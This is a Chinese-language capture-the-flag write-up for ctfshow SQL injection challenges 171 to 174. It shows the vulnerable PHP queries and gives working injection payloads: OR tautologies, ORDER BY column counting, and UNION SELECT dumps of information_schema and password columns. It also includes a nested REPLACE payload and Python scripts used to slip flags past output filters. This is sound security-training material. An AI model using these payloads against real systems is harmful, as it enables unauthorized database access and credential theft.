171
//拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
只过滤username='flag',只需在后面加or,假or真 为真
注入语句为
-1' or username = 'flag
(原语句后面有',所以不需要闭合)
172
//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag if($row->username!=='flag'){ $ret['msg']='查询成功'; }
-1' or 1=1 order by 2 --+ 猜列名为2
联合查询爆库
-1 ' union select 1,database() --+
爆表名
-1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')--+
爆列名
-1 ' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2')--+
\
爆数据
-1 ' union select 1,(select group_concat(id,',',username,',',password) from ctfshow_web.ctfshow_user2) --+
flag : ctfshow{d0c5cab6-6ac7-4b65-8e0a-fc8d582746a5}
173
//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
返回数据会检测'flag'单词,因此只需没有flag,直接输出password就行了
-1 ' union select 1,id,password from ctfshow_user3 where username = 'flag' --+
flag : ctfshow{584546f7-014c-4d7c-bb38-3ccef903ac2e}
174
//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
检查代码屏蔽了flag和0-9,因为flag由0-9和a-f组成,所有可以用g替换0,f替换1,,,,,以此类推
用python写脚本
i = 0 s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')" for i in range(1,10): s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')" print(s)
sql语句replace函数格式:replace('列名','被替换词','替换词')
str:转字符
ord:转ascii码
(ord(str(i)) + 55):转ascii码后再加55
chr:把加完后的ascii码再转对应字符
当第一层循环时,得到s=replace(password,0,'g')
第二层得到s=replace(replace(password,0,'g'),1,'h')
以此类推
输出结果为:
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p')
组成注入语句
-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4 --+
当运行这个语句,会自动将0-9替换并输出,防止过滤
得到flag:ctfshow{aiagolha-hjdb-kpmg-olpn-ieodbmiddcoo}
此时0-9都被替换,用脚本换回来
flag = 'ctfshow{aiagolha-hjdb-kpmg-olpn-ieodbmiddcoo}' for i in range(10): flag = flag.replace(chr(ord(str(i)) + 55), str(i)) print(str(i), chr(ord(str(i)) + 55)) print(flag)
每循环一次,就将flag里的i 替换,循环9次,也就完成替换
flag :ctfshow{a2a0851a-13db-4960-8597-2e8db62ddc88}
网友评论